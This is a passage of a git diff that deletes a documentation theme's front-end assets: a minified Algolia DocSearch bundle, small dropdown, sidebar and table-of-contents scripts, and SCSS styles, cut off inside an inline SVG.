Pr(e){var t=e.key,n=e.limit,r=void 0===n?5:n,o=jr(t),c=o.getItem().slice(0,r);return{add:function(e){var t=e,n=(t._highlightResult,t._snippetResult,wr(t,Er)),i=c.findIndex((function(e){return e.objectID===n.objectID}));i>-1&&c.splice(i,1),c.unshift(n),c=c.slice(0,r),o.setItem(c)},remove:function(e){c=c.filter((function(t){return t.objectID!==e.objectID})),o.setItem(c)},getAll:function(){return c}}}var Ir=["facetName","facetQuery"];function kr(e){var t,n="algoliasearch-client-js-".concat(e.key),r=function(){return void 0===t&&(t=e.localStorage||window.localStorage),t},o=function(){return JSON.parse(r().getItem(n)||"{}")};return{get:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}};return Promise.resolve().then((function(){var n=JSON.stringify(e),r=o()[n];return Promise.all([r||t(),void 0!==r])})).then((function(e){var t=i(e,2),r=t[0],o=t[1];return Promise.all([r,o||n.miss(r)])})).then((function(e){return i(e,1)[0]}))},set:function(e,t){return Promise.resolve().then((function(){var c=o();return c[JSON.stringify(e)]=t,r().setItem(n,JSON.stringify(c)),t}))},delete:function(e){return Promise.resolve().then((function(){var t=o();delete t[JSON.stringify(e)],r().setItem(n,JSON.stringify(t))}))},clear:function(){return Promise.resolve().then((function(){r().removeItem(n)}))}}}function Dr(e){var t=a(e.caches),n=t.shift();return void 0===n?{get:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}};return t().then((function(e){return Promise.all([e,n.miss(e)])})).then((function(e){return i(e,1)[0]}))},set:function(e,t){return Promise.resolve(t)},delete:function(e){return Promise.resolve()},clear:function(){return Promise.resolve()}}:{get:function(e,r){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}};return n.get(e,r,o).catch((function(){return Dr({caches:t}).get(e,r,o)}))},set:function(e,r){return n.set(e,r).catch((function(){return Dr({caches:t}).set(e,r)}))},delete:function(e){return n.delete(e).catch((function(){return Dr({caches:t}).delete(e)}))},clear:function(){return n.clear().catch((function(){return Dr({caches:t}).clear()}))}}}function Cr(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{serializable:!0},t={};return{get:function(n,r){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{miss:function(){return Promise.resolve()}},c=JSON.stringify(n);if(c in t)return Promise.resolve(e.serializable?JSON.parse(t[c]):t[c]);var i=r(),a=o&&o.miss||function(){return Promise.resolve()};return i.then((function(e){return a(e)})).then((function(){return i}))},set:function(n,r){return t[JSON.stringify(n)]=e.serializable?JSON.stringify(r):r,Promise.resolve(r)},delete:function(e){return delete t[JSON.stringify(e)],Promise.resolve()},clear:function(){return t={},Promise.resolve()}}}function Ar(e){for(var t=e.length-1;t>0;t--){var n=Math.floor(Math.random()*(t+1)),r=e[t];e[t]=e[n],e[n]=r}return e}function xr(e,t){return t?(Object.keys(t).forEach((function(n){e[n]=t[n](e)})),e):e}function Nr(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r0?r:void 0,timeout:n.timeout||t,headers:n.headers||{},queryParameters:n.queryParameters||{},cacheable:n.cacheable}}var qr={Read:1,Write:2,Any:3},Mr=1,Hr=2,Ur=3,Fr=12e4;function Br(e){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Mr;return t(t({},e),{},{status:n,lastUpdate:Date.now()})}function Vr(e){return"string"==typeof e?{protocol:"https",url:e,accept:qr.Any}:{protocol:e.protocol||"https",url:e.url,accept:e.accept||qr.Any}}var zr="GET",Wr="POST";function Kr(e,t){return Promise.all(t.map((function(t){return e.get(t,(function(){return Promise.resolve(Br(t))}))}))).then((function(e){var n=e.filter((function(e){return function(e){return e.status===Mr||Date.now()-e.lastUpdate>Fr}(e)})),r=e.filter((function(e){return function(e){return e.status===Ur&&Date.now()-e.lastUpdate<=Fr}(e)})),o=[].concat(a(n),a(r));return{getTimeout:function(e,t){return(0===r.length&&0===e?1:r.length+3+e)*t},statelessHosts:o.length>0?o.map((function(e){return Vr(e)})):t}}))}function Jr(e,n,r,o){var c=[],i=function(e,n){if(e.method===zr||void 0===e.data&&void 0===n.data)return;var r=Array.isArray(e.data)?e.data:t(t({},e.data),n.data);return JSON.stringify(r)}(r,o),u=function(e,n){var r=t(t({},e.headers),n.headers),o={};return Object.keys(r).forEach((function(e){var t=r[e];o[e.toLowerCase()]=t})),o}(e,o),l=r.method,s=r.method!==zr?{}:t(t({},r.data),o.data),f=t(t(t({"x-algolia-agent":e.userAgent.value},e.queryParameters),s),o.queryParameters),p=0,m=function t(n,a){var s=n.pop();if(void 0===s)throw{name:"RetryError",message:"Unreachable hosts - your application id may be incorrect. If the error persists, contact support@algolia.com.",transporterStackTrace:Gr(c)};var m={data:i,headers:u,method:l,url:Qr(s,r.path,f),connectTimeout:a(p,e.timeouts.connect),responseTimeout:a(p,o.timeout)},d=function(e){var t={request:m,response:e,host:s,triesLeft:n.length};return c.push(t),t},h={onSucess:function(e){return function(e){try{return JSON.parse(e.content)}catch(t){throw function(e,t){return{name:"DeserializationError",message:e,response:t}}(t.message,e)}}(e)},onRetry:function(r){var o=d(r);return r.isTimedOut&&p++,Promise.all([e.logger.info("Retryable failure",Zr(o)),e.hostsCache.set(s,Br(s,r.isTimedOut?Ur:Hr))]).then((function(){return t(n,a)}))},onFail:function(e){throw d(e),function(e,t){var n=e.content,r=e.status,o=n;try{o=JSON.parse(n).message}catch(e){}return function(e,t,n){return{name:"ApiError",message:e,status:t,transporterStackTrace:n}}(o,r,t)}(e,Gr(c))}};return e.requester.send(m).then((function(e){return function(e,t){return function(e){var t=e.status;return e.isTimedOut||function(e){var t=e.isTimedOut,n=e.status;return!t&&0==~~n}(e)||2!=~~(t/100)&&4!=~~(t/100)}(e)?t.onRetry(e):2==~~(e.status/100)?t.onSucess(e):t.onFail(e)}(e,h)}))};return Kr(e.hostsCache,n).then((function(e){return m(a(e.statelessHosts).reverse(),e.getTimeout)}))}function $r(e){var t={value:"Algolia for JavaScript (".concat(e,")"),add:function(e){var n="; ".concat(e.segment).concat(void 0!==e.version?" (".concat(e.version,")"):"");return-1===t.value.indexOf(n)&&(t.value="".concat(t.value).concat(n)),t}};return t}function Qr(e,t,n){var r=Yr(n),o="".concat(e.protocol,"://").concat(e.url,"/").concat("/"===t.charAt(0)?t.substr(1):t);return r.length&&(o+="?".concat(r)),o}function Yr(e){return Object.keys(e).map((function(t){return Nr("%s=%s",t,(n=e[t],"[object Object]"===Object.prototype.toString.call(n)||"[object Array]"===Object.prototype.toString.call(n)?JSON.stringify(e[t]):e[t]));var n})).join("&")}function Gr(e){return e.map((function(e){return Zr(e)}))}function Zr(e){var n=e.request.headers["x-algolia-api-key"]?{"x-algolia-api-key":"*****"}:{};return t(t({},e),{},{request:t(t({},e.request),{},{headers:t(t({},e.request.headers),n)})})}var Xr=function(e){var n=e.appId,r=function(e,t,n){var r={"x-algolia-api-key":n,"x-algolia-application-id":t};return{headers:function(){return e===Tr.WithinHeaders?r:{}},queryParameters:function(){return e===Tr.WithinQueryParameters?r:{}}}}(void 0!==e.authMode?e.authMode:Tr.WithinHeaders,n,e.apiKey),o=function(e){var t=e.hostsCache,n=e.logger,r=e.requester,o=e.requestsCache,c=e.responsesCache,a=e.timeouts,u=e.userAgent,l=e.hosts,s=e.queryParameters,f={hostsCache:t,logger:n,requester:r,requestsCache:o,responsesCache:c,timeouts:a,userAgent:u,headers:e.headers,queryParameters:s,hosts:l.map((function(e){return Vr(e)})),read:function(e,t){var n=Lr(t,f.timeouts.read),r=function(){return Jr(f,f.hosts.filter((function(e){return 0!=(e.accept&qr.Read)})),e,n)};if(!0!==(void 0!==n.cacheable?n.cacheable:e.cacheable))return r();var o={request:e,mappedRequestOptions:n,transporter:{queryParameters:f.queryParameters,headers:f.headers}};return f.responsesCache.get(o,(function(){return f.requestsCache.get(o,(function(){return f.requestsCache.set(o,r()).then((function(e){return Promise.all([f.requestsCache.delete(o),e])}),(function(e){return Promise.all([f.requestsCache.delete(o),Promise.reject(e)])})).then((function(e){var t=i(e,2);return t[0],t[1]}))}))}),{miss:function(e){return f.responsesCache.set(o,e)}})},write:function(e,t){return Jr(f,f.hosts.filter((function(e){return 0!=(e.accept&qr.Write)})),e,Lr(t,f.timeouts.write))}};return f}(t(t({hosts:[{url:"".concat(n,"-dsn.algolia.net"),accept:qr.Read},{url:"".concat(n,".algolia.net"),accept:qr.Write}].concat(Ar([{url:"".concat(n,"-1.algolianet.com")},{url:"".concat(n,"-2.algolianet.com")},{url:"".concat(n,"-3.algolianet.com")}]))},e),{},{headers:t(t(t({},r.headers()),{"content-type":"application/x-www-form-urlencoded"}),e.headers),queryParameters:t(t({},r.queryParameters()),e.queryParameters)})),c={transporter:o,appId:n,addAlgoliaAgent:function(e,t){o.userAgent.add({segment:e,version:t})},clearCache:function(){return Promise.all([o.requestsCache.clear(),o.responsesCache.clear()]).then((function(){}))}};return xr(c,e.methods)},eo=function(e){return function(t){var n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r={transporter:e.transporter,appId:e.appId,indexName:t};return xr(r,n.methods)}},to=function(e){return function(n,r){var o=n.map((function(e){return t(t({},e),{},{params:Yr(e.params||{})})}));return e.transporter.read({method:Wr,path:"1/indexes/*/queries",data:{requests:o},cacheable:!0},r)}},no=function(e){return function(n,r){return Promise.all(n.map((function(n){var o=n.params,i=o.facetName,a=o.facetQuery,u=c(o,Ir);return eo(e)(n.indexName,{methods:{searchForFacetValues:co}}).searchForFacetValues(i,a,t(t({},r),u))})))}},ro=function(e){return function(t,n,r){return e.transporter.read({method:Wr,path:Nr("1/answers/%s/prediction",e.indexName),data:{query:t,queryLanguages:n},cacheable:!0},r)}},oo=function(e){return function(t,n){return e.transporter.read({method:Wr,path:Nr("1/indexes/%s/query",e.indexName),data:{query:t},cacheable:!0},n)}},co=function(e){return function(t,n,r){return e.transporter.read({method:Wr,path:Nr("1/indexes/%s/facets/%s/query",e.indexName,t),data:{facetQuery:n},cacheable:!0},r)}},io=1,ao=2,uo=3;function lo(e,n,r){var o,c={appId:e,apiKey:n,timeouts:{connect:1,read:2,write:30},requester:{send:function(e){return new Promise((function(t){var n=new XMLHttpRequest;n.open(e.method,e.url,!0),Object.keys(e.headers).forEach((function(t){return n.setRequestHeader(t,e.headers[t])}));var r,o=function(e,r){return setTimeout((function(){n.abort(),t({status:0,content:r,isTimedOut:!0})}),1e3*e)},c=o(e.connectTimeout,"Connection timeout");n.onreadystatechange=function(){n.readyState>n.OPENED&&void 0===r&&(clearTimeout(c),r=o(e.responseTimeout,"Socket timeout"))},n.onerror=function(){0===n.status&&(clearTimeout(c),clearTimeout(r),t({content:n.responseText||"Network request failed",status:n.status,isTimedOut:!1}))},n.onload=function(){clearTimeout(c),clearTimeout(r),t({content:n.responseText,status:n.status,isTimedOut:!1})},n.send(e.data)}))}},logger:(o=uo,{debug:function(e,t){return io>=o&&console.debug(e,t),Promise.resolve()},info:function(e,t){return ao>=o&&console.info(e,t),Promise.resolve()},error:function(e,t){return console.error(e,t),Promise.resolve()}}),responsesCache:Cr(),requestsCache:Cr({serializable:!1}),hostsCache:Dr({caches:[kr({key:"".concat(Rr,"-").concat(e)}),Cr()]}),userAgent:$r(Rr).add({segment:"Browser",version:"lite"}),authMode:Tr.WithinQueryParameters};return Xr(t(t(t({},c),r),{},{methods:{search:to,searchForFacetValues:no,multipleQueries:to,multipleSearchForFacetValues:no,initIndex:function(e){return function(t){return eo(e)(t,{methods:{search:oo,searchForFacetValues:co,findAnswers:ro}})}}}}))}lo.version=Rr;var so="3.2.0";var fo=["footer","searchBox"];function po(){return po=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function go(e){var t=e.appId,n=e.apiKey,r=e.indexName,o=e.placeholder,c=void 0===o?"Search docs":o,i=e.searchParameters,a=e.onClose,u=void 0===a?cr:a,l=e.transformItems,s=void 0===l?or:l,f=e.hitComponent,p=void 0===f?In:f,m=e.resultsFooterComponent,d=void 0===m?function(){return null}:m,h=e.navigator,v=e.initialScrollY,y=void 0===v?0:v,_=e.transformSearchClient,b=void 0===_?or:_,g=e.disableUserPersonalization,O=void 0!==g&&g,S=e.initialQuery,E=void 0===S?"":S,w=e.translations,j=void 0===w?{}:w,P=e.getMissingResultsUrl,I=j.footer,k=j.searchBox,D=bo(j,fo),C=yo(Be.useState({query:"",collections:[],completion:null,context:{},isOpen:!1,activeItemId:null,status:"idle"}),2),A=C[0],x=C[1],N=Be.useRef(null),R=Be.useRef(null),T=Be.useRef(null),L=Be.useRef(null),q=Be.useRef(null),M=Be.useRef(10),H=Be.useRef("undefined"!=typeof window?window.getSelection().toString().slice(0,64):"").current,U=Be.useRef(E||H).current,F=function(e,t,n){return Be.useMemo((function(){var r=lo(e,t);return r.addAlgoliaAgent("docsearch",so),!1===/docsearch.js \(.*\)/.test(r.transporter.userAgent.value)&&r.addAlgoliaAgent("docsearch-react",so),n(r)}),[e,t,n])}(t,n,b),B=Be.useRef(Pr({key:"__DOCSEARCH_FAVORITE_SEARCHES__".concat(r),limit:10})).current,V=Be.useRef(Pr({key:"__DOCSEARCH_RECENT_SEARCHES__".concat(r),limit:0===B.getAll().length?7:4})).current,z=Be.useCallback((function(e){if(!O){var t="content"===e.type?e.__docsearch_parent:e;t&&-1===B.getAll().findIndex((function(e){return e.objectID===t.objectID}))&&V.add(t)}}),[B,V,O]),W=Be.useMemo((function(){return En({id:"docsearch",defaultActiveItemId:0,placeholder:c,openOnFocus:!0,initialState:{query:U,context:{searchSuggestions:[]}},navigator:h,onStateChange:function(e){x(e.state)},getSources:function(e){var t=e.query,n=e.state,o=e.setContext,c=e.setStatus;return t?F.search([{query:t,indexName:r,params:ho({attributesToRetrieve:["hierarchy.lvl0","hierarchy.lvl1","hierarchy.lvl2","hierarchy.lvl3","hierarchy.lvl4","hierarchy.lvl5","hierarchy.lvl6","content","type","url"],attributesToSnippet:["hierarchy.lvl1:".concat(M.current),"hierarchy.lvl2:".concat(M.current),"hierarchy.lvl3:".concat(M.current),"hierarchy.lvl4:".concat(M.current),"hierarchy.lvl5:".concat(M.current),"hierarchy.lvl6:".concat(M.current),"content:".concat(M.current)],snippetEllipsisText:"…",highlightPreTag:"",highlightPostTag:"",hitsPerPage:20},i)}]).catch((function(e){throw"RetryError"===e.name&&c("error"),e})).then((function(e){var t=e.results[0],r=t.hits,c=t.nbHits,i=rr(r,(function(e){return ur(e)}));return n.context.searchSuggestions.length0&&($(),q.current&&q.current.focus())}),[U,$]),Be.useEffect((function(){function e(){if(R.current){var e=.01*window.innerHeight;R.current.style.setProperty("--docsearch-vh","".concat(e,"px"))}}return e(),window.addEventListener("resize",e),function(){window.removeEventListener("resize",e)}}),[]),Be.createElement("div",po({ref:N},J({"aria-expanded":!0}),{className:["DocSearch","DocSearch-Container","stalled"===A.status&&"DocSearch-Container--Stalled","error"===A.status&&"DocSearch-Container--Errored"].filter(Boolean).join(" "),role:"button",tabIndex:0,onMouseDown:function(e){e.target===e.currentTarget&&u()}}),Be.createElement("div",{className:"DocSearch-Modal",ref:R},Be.createElement("header",{className:"DocSearch-SearchBar",ref:T},Be.createElement(Sr,po({},W,{state:A,autoFocus:0===U.length,inputRef:q,isFromSelection:Boolean(U)&&U===H,translations:k,onClose:u}))),Be.createElement("div",{className:"DocSearch-Dropdown",ref:L},Be.createElement(_r,po({},W,{indexName:r,state:A,hitComponent:p,resultsFooterComponent:d,disableUserPersonalization:O,recentSearches:V,favoriteSearches:B,inputRef:q,translations:D,getMissingResultsUrl:P,onItemClick:function(e){z(e),u()}}))),Be.createElement("footer",{className:"DocSearch-Footer"},Be.createElement(Pn,{translations:I}))))}function Oo(){return Oo=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);n1&&void 0!==arguments[1]?arguments[1]:window;return"string"==typeof e?t.document.querySelector(e):e}(e.container,e.environment))}})); -//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/assets/js/component/dropdown.js b/assets/js/component/dropdown.js deleted file mode 100644 index 966be9a..0000000 --- a/assets/js/component/dropdown.js +++ /dev/null @@ -1,21 +0,0 @@ -const dropdowns = document.querySelectorAll('.dropdown') -const dropdownOpenSelector = '.dropdown-menu.show'; - -dropdowns.forEach(el => { - el.addEventListener('click', function (e) { - const alreadyShown = el.querySelector('.dropdown-menu.show'); - - document.querySelectorAll(dropdownOpenSelector).forEach(openDropdownEl => openDropdownEl.classList.remove('show')); - - if (!alreadyShown) { - el.querySelector('.dropdown-menu').classList.toggle('show') - } - }) -}); - -document.body.addEventListener('click', function (e) { - const isDropdownMenu = e.target.closest('.dropdown'); - if (!isDropdownMenu) { - document.querySelectorAll(dropdownOpenSelector).forEach(el => el.classList.remove('show')); - } -}); \ No newline at end of file diff --git a/assets/js/component/sidebar.js b/assets/js/component/sidebar.js deleted file mode 100644 index 007e049..0000000 --- a/assets/js/component/sidebar.js +++ /dev/null @@ -1,13 +0,0 @@ -const fromDesktop = window.matchMedia('(min-width: 1280px)'); -const sidebarSticky = document.querySelector("#sidebar .sticky") -if (fromDesktop && sidebarSticky) { - window.addEventListener("scroll", function () { - if (document.body.scrollTop > 80 || document.documentElement.scrollTop > 80) { - sidebarSticky.style.top = "20px"; - sidebarSticky.style.bottom = "65px"; - } else { - sidebarSticky.style.top = null; - sidebarSticky.style.bottom = null; - } - }); -} \ No newline at end of file diff --git a/assets/js/component/toc.js b/assets/js/component/toc.js deleted file mode 100644 index 1ad2ed5..0000000 --- a/assets/js/component/toc.js +++ /dev/null @@ -1,47 +0,0 @@ -const fromLargeTablet = window.matchMedia('(min-width: 1024px)'); -const tocSticky = document.querySelector("#toc .sticky") -if (fromLargeTablet && tocSticky) { - window.addEventListener("scroll", function () { - if (document.body.scrollTop > 80 || document.documentElement.scrollTop > 80) { - tocSticky.style.top = "20px"; - tocSticky.style.bottom = "65px"; - } else { - tocSticky.style.top = null; - tocSticky.style.bottom = null; - } - }); -} - -if ('IntersectionObserver' in window) { - document.addEventListener('DOMContentLoaded', function () { - const links = document.querySelectorAll('#TableOfContents a'); - let activeLink = null; - const linksById = {}; - - const observer = new IntersectionObserver(entries => { - entries.forEach(entry => { - if (entry.isIntersecting) { - if (activeLink) { - activeLink.classList.remove('active'); - } - - activeLink = linksById[entry.target.id]; - if (activeLink) { - activeLink.classList.add('active'); - } - } - }); - }, {rootMargin: `0% 0% -80% 0%`}); - - links.forEach(link => { - const id = link.getAttribute('href') ? link.getAttribute('href').slice(1) : null; // Checking if href exists before slicing # - if (id) { - const target = document.getElementById(id); - if (target) { - linksById[id] = link; - observer.observe(target); - } - } - }); - }); -} \ No newline at end of file diff --git a/assets/scss/base.scss b/assets/scss/base.scss deleted file mode 100644 index 234f556..0000000 --- a/assets/scss/base.scss +++ /dev/null @@ -1,27 +0,0 @@ -/*! - * Docura (https://docura.github.io/) - * Copyright 2022-2023 Dumindu Madunuwan - * Licensed under the MIT License. - */ - - @import "reset"; - @import "variables"; - @import "layout"; - - @import "component/site-header"; - @import "component/site-footer"; - @import "component/article"; - @import "component/sidebar"; - @import "component/toc"; - - @import "component/button"; - @import "component/dropdown"; - @import "component/chroma"; - - html { - font-family: var(--font-family); - background: var(--background); - color: var(--color); - scroll-behavior: smooth; - scroll-padding: 2em; - } \ No newline at end of file diff --git a/assets/scss/component/_button.scss b/assets/scss/component/_button.scss deleted file mode 100644 index 7d1601b..0000000 --- a/assets/scss/component/_button.scss +++ /dev/null @@ -1,42 +0,0 @@ -.btn-github { - display: flex; - flex-direction: row; - gap: 2px; - font-size: .7em; /*11 px*/ - font-weight: 700; - line-height: 1.8em; - color: #576060; - background: #f6f8fa; - border: 1px solid #d5d7da; - border-radius: 6px; - padding: 2px 4px; -} - -:root[data-color="dark"] .btn-github, :root[data-color="night"] .btn-github { - color: #c9d1d9; - background: #21262d; - border: 1px solid #576060; -} - -.btn-github .icon { - transform: scale(.8); /* 18px */ -} - -.btn-buymeacoffee { - width: 86px; - height: 24px; - background-image: url("data:image/svg+xml,%3Csvg width='85.5' height='24' viewBox='0 0 545 153' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M0 24.48C0 10.9601 10.9601 0 24.48 0H520.2C533.72 0 544.68 10.9601 544.68 24.48V128.52C544.68 142.04 533.72 153 520.2 153H24.48C10.9601 153 0 142.04 0 128.52V24.48Z' fill='%23FFDD00'/%3E%3Cpath d='M109.522 50.3178L109.455 50.2783L109.299 50.2308C109.362 50.2836 109.44 50.3142 109.522 50.3178Z' fill='%230D0C22'/%3E%3Cpath d='M110.507 57.3134L110.432 57.3344L110.507 57.3134Z' fill='%230D0C22'/%3E%3Cpath d='M109.549 50.3062C109.54 50.3051 109.532 50.3031 109.524 50.3003C109.523 50.3058 109.523 50.3113 109.524 50.3168C109.533 50.3156 109.541 50.3119 109.549 50.3062Z' fill='%230D0C22'/%3E%3Cpath d='M109.523 50.3205H109.536V50.3127L109.523 50.3205Z' fill='%230D0C22'/%3E%3Cpath d='M110.447 57.3006L110.56 57.2361L110.602 57.2123L110.64 57.1715C110.569 57.2025 110.503 57.2462 110.447 57.3006Z' fill='%230D0C22'/%3E%3Cpath d='M109.715 50.4713L109.604 50.3659L109.529 50.3251C109.57 50.3963 109.636 50.4488 109.715 50.4713Z' fill='%230D0C22'/%3E%3Cpath d='M81.8801 118.353C81.7916 118.391 81.7142 118.451 81.6548 118.527L81.7246 118.482C81.772 118.439 81.8392 118.387 81.8801 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M98.0456 115.173C98.0456 115.073 97.9968 115.091 98.0087 115.447C98.0087 115.418 98.0206 115.389 98.0258 115.361C98.0324 115.298 98.0377 115.236 98.0456 115.173Z' fill='%230D0C22'/%3E%3Cpath d='M96.3761 118.353C96.2877 118.391 96.2103 118.451 96.1509 118.527L96.2207 118.482C96.2681 118.439 96.3353 118.387 96.3761 118.353Z' fill='%230D0C22'/%3E%3Cpath d='M70.4886 119.11C70.4215 119.052 70.3393 119.013 70.2515 118.999C70.3226 119.034 70.3937 119.068 70.4412 119.094L70.4886 119.11Z' fill='%230D0C22'/%3E%3Cpath d='M67.9304 116.657C67.92 116.553 67.8881 116.453 67.8369 116.362C67.8732 116.456 67.9035 116.553 67.9278 116.652L67.9304 116.657Z' fill='%230D0C22'/%3E%3Cpath d='M85.1368 72.7737C81.6195 74.2794 77.628 75.9866 72.4549 75.9866C70.2908 75.9823 68.1373 75.6854 66.0527 75.104L69.6306 111.838C69.7572 113.373 70.4567 114.805 71.59 115.848C72.7233 116.892 74.2076 117.471 75.7482 117.47C75.7482 117.47 80.8212 117.734 82.514 117.734C84.3358 117.734 89.7988 117.47 89.7988 117.47C91.3391 117.47 92.8231 116.891 93.9562 115.848C95.0892 114.804 95.7885 113.373 95.9151 111.838L99.7472 71.2456C98.0347 70.6607 96.3064 70.2721 94.358 70.2721C90.9883 70.2708 88.2733 71.4313 85.1368 72.7737Z' fill='white'/%3E%3Cpath d='M54.9844 57.1021L55.045 57.1587L55.0845 57.1824C55.0541 57.1522 55.0205 57.1252 54.9844 57.1021Z' fill='%230D0C22'/%3E%3Cpath d='M116.299 53.7119L115.761 50.9943C115.277 48.5559 114.18 46.2519 111.677 45.3706C110.875 45.0887 109.964 44.9675 109.349 44.384C108.734 43.8004 108.552 42.8941 108.41 42.0536C108.147 40.511 107.899 38.9671 107.629 37.4272C107.396 36.1033 107.211 34.616 106.604 33.4015C105.814 31.7706 104.174 30.8169 102.543 30.1859C101.707 29.8739 100.854 29.61 99.9884 29.3955C95.9139 28.3205 91.63 27.9253 87.4382 27.7001C82.407 27.4225 77.3623 27.5061 72.343 27.9504C68.6071 28.2902 64.6723 28.7013 61.1221 29.9935C59.8245 30.4665 58.4875 31.0342 57.5008 32.0367C56.2902 33.2684 55.895 35.1733 56.7789 36.7092C57.4073 37.8 58.4717 38.5706 59.6006 39.0804C61.0711 39.7373 62.6068 40.2371 64.1822 40.5716C68.5689 41.5412 73.1124 41.9219 77.5939 42.0839C82.561 42.2844 87.5362 42.1219 92.4796 41.5978C93.7021 41.4635 94.9224 41.3023 96.1405 41.1144C97.575 40.8944 98.4958 39.0185 98.073 37.7117C97.5671 36.1494 96.2077 35.5434 94.6703 35.7792C94.4438 35.8148 94.2185 35.8477 93.9919 35.8807L93.8286 35.9044C93.3078 35.9702 92.787 36.0317 92.2662 36.0888C91.1904 36.2047 90.112 36.2996 89.0309 36.3733C86.6097 36.5419 84.1818 36.6197 81.7553 36.6236C79.371 36.6236 76.9853 36.5564 74.6062 36.3997C73.5207 36.3285 72.4379 36.2381 71.3577 36.1283C70.8663 36.0769 70.3763 36.0229 69.8862 35.9623L69.4199 35.903L69.3185 35.8886L68.835 35.8187C67.847 35.6699 66.859 35.4986 65.8816 35.2918C65.783 35.2699 65.6947 35.2151 65.6315 35.1363C65.5683 35.0575 65.5338 34.9594 65.5338 34.8584C65.5338 34.7574 65.5683 34.6594 65.6315 34.5806C65.6947 34.5018 65.783 34.4469 65.8816 34.425H65.9C66.7471 34.2445 67.6007 34.0904 68.4569 33.956C68.7424 33.9113 69.0287 33.8673 69.3158 33.8243H69.3237C69.8599 33.7887 70.3987 33.6926 70.9322 33.6293C75.574 33.1465 80.2434 32.9819 84.9077 33.1367C87.1721 33.2025 89.4353 33.3356 91.6892 33.5648C92.174 33.6149 92.6562 33.6676 93.1383 33.7268C93.3227 33.7492 93.5085 33.7756 93.6942 33.798L94.0683 33.852C95.1591 34.0144 96.2441 34.2116 97.3234 34.4435C98.9227 34.7912 100.976 34.9045 101.688 36.6566C101.914 37.2125 102.017 37.8303 102.142 38.4139L102.302 39.1581C102.306 39.1715 102.309 39.1852 102.311 39.199C102.688 40.9554 103.065 42.7118 103.442 44.4683C103.47 44.598 103.471 44.7321 103.444 44.8621C103.418 44.9921 103.365 45.1153 103.289 45.2239C103.213 45.3326 103.115 45.4244 103.002 45.4936C102.889 45.5628 102.762 45.6079 102.631 45.6262H102.62L102.39 45.6578L102.162 45.6881C101.44 45.7821 100.717 45.8699 99.9936 45.9516C98.5683 46.114 97.1408 46.2546 95.711 46.3731C92.87 46.6094 90.0233 46.7644 87.1708 46.8381C85.7174 46.8768 84.2644 46.8948 82.8118 46.8921C77.0301 46.8876 71.2534 46.5516 65.5101 45.8857C64.8883 45.8119 64.2666 45.7329 63.6448 45.6525C64.1269 45.7145 63.2944 45.6051 63.1258 45.5814C62.7306 45.5261 62.3354 45.4686 61.9402 45.4088C60.6136 45.2099 59.295 44.9649 57.9711 44.7502C56.3705 44.4867 54.8398 44.6185 53.3921 45.4088C52.2037 46.0591 51.2419 47.0564 50.6349 48.2674C50.0105 49.5584 49.8248 50.964 49.5455 52.3511C49.2662 53.7383 48.8315 55.2308 48.9962 56.6548C49.3505 59.7281 51.4991 62.2258 54.5895 62.7843C57.4968 63.3112 60.42 63.7381 63.351 64.1016C74.8648 65.5118 86.4968 65.6805 98.0466 64.6049C98.9872 64.517 99.9265 64.4213 100.864 64.3177C101.157 64.2855 101.454 64.3192 101.732 64.4165C102.01 64.5137 102.263 64.6719 102.472 64.8795C102.681 65.0872 102.842 65.339 102.941 65.6165C103.04 65.894 103.076 66.1902 103.046 66.4834L102.753 69.3261C102.164 75.0705 101.575 80.8145 100.986 86.558C100.371 92.5896 99.7521 98.6208 99.1295 104.651C98.9538 106.35 98.7782 108.048 98.6025 109.746C98.4339 111.417 98.4102 113.142 98.0927 114.794C97.5922 117.391 95.8335 118.987 93.2674 119.57C90.9164 120.105 88.5148 120.386 86.1038 120.408C83.431 120.422 80.7594 120.304 78.0866 120.318C75.2333 120.334 71.7384 120.071 69.5358 117.947C67.6007 116.082 67.3333 113.161 67.0698 110.636C66.7185 107.293 66.3703 103.95 66.0252 100.607L64.0887 82.0212L62.8359 69.9953C62.8149 69.7964 62.7938 69.6001 62.774 69.3999C62.6239 67.9654 61.6082 66.5611 60.0077 66.6335C58.6376 66.6941 57.0806 67.8586 57.2413 69.3999L58.17 78.3155L60.0906 96.7581C60.6378 101.997 61.1836 107.236 61.7281 112.476C61.8335 113.48 61.9323 114.487 62.0429 115.49C62.6449 120.976 66.834 123.932 72.0216 124.764C75.0515 125.252 78.1551 125.352 81.2297 125.402C85.1711 125.465 89.1521 125.617 93.029 124.903C98.7738 123.849 103.084 120.013 103.699 114.062C103.875 112.345 104.051 110.626 104.226 108.908C104.81 103.224 105.393 97.5397 105.976 91.855L107.88 73.2807L108.754 64.7682C108.797 64.3461 108.976 63.9492 109.262 63.6363C109.549 63.3234 109.929 63.111 110.345 63.0307C111.988 62.7105 113.558 62.1639 114.727 60.9137C116.587 58.9232 116.957 56.3281 116.299 53.7119ZM54.5052 55.5483C54.5302 55.5364 54.4841 55.7511 54.4644 55.8513C54.4604 55.6998 54.4683 55.5654 54.5052 55.5483ZM54.6646 56.7813C54.6778 56.7721 54.7173 56.8248 54.7581 56.888C54.6962 56.83 54.6567 56.7866 54.6633 56.7813H54.6646ZM54.8214 56.9881C54.878 57.0843 54.9083 57.1449 54.8214 56.9881V56.9881ZM55.1362 57.2437H55.1441C55.1441 57.2529 55.1586 57.2621 55.1639 57.2713C55.1551 57.2612 55.1454 57.2519 55.1349 57.2437H55.1362ZM110.269 56.8616C109.679 57.4228 108.789 57.6837 107.911 57.8141C98.0572 59.2763 88.06 60.0166 78.0984 59.6899C70.9691 59.4462 63.9148 58.6545 56.8566 57.6573C56.165 